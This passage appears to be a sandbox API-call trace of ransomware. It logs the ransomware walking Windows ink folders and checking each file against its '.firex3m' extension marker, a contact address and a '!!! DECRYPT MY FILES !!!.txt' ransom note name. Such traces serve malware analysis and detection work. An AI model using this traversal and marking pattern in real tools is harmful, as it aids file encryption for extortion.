cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.629] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.629] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.629] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0114.629] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 1 [0114.629] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe") returned 0x3d [0114.629] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.629] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.629] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.629] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.630] GetProcessHeap () returned 0x630000 [0114.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b13b8 [0114.630] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0114.630] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\") returned 1 [0114.630] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\th-th\\") returned 0x39 [0114.630] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.630] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5500 [0114.630] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.630] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.631] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 1 [0114.631] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui") returned 0x48 [0114.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.631] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.631] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.631] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.631] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0114.631] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0114.631] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 1 [0114.631] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll") returned 0x3d [0114.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.632] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.632] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.632] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0114.632] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll", len=0x3e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 1 [0114.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll") returned 0x3e [0114.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.632] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.632] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.632] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0114.633] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll", len=0x3f | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 1 [0114.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll") returned 0x3f [0114.633] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.633] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.633] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.633] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.633] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0114.633] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll") returned 1 [0114.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") returned 0x3d [0114.633] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.633] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.633] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.634] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.634] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0114.634] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll", len=0x3c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll") returned 1 [0114.634] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll") returned 0x3c [0114.634] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.634] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.634] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.634] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.634] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0114.634] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\") returned 1 [0114.634] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\") returned 0x39 [0114.635] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.635] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0114.635] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.635] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.635] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui") returned 1 [0114.635] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui") returned 0x48 [0114.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.635] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.635] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.636] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.636] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0114.636] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0114.636] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\") returned 1 [0114.636] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\") returned 0x39 [0114.636] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.636] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5500 [0114.921] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.922] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.922] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 1 [0114.922] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui") returned 0x48 [0114.922] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.922] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.922] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: 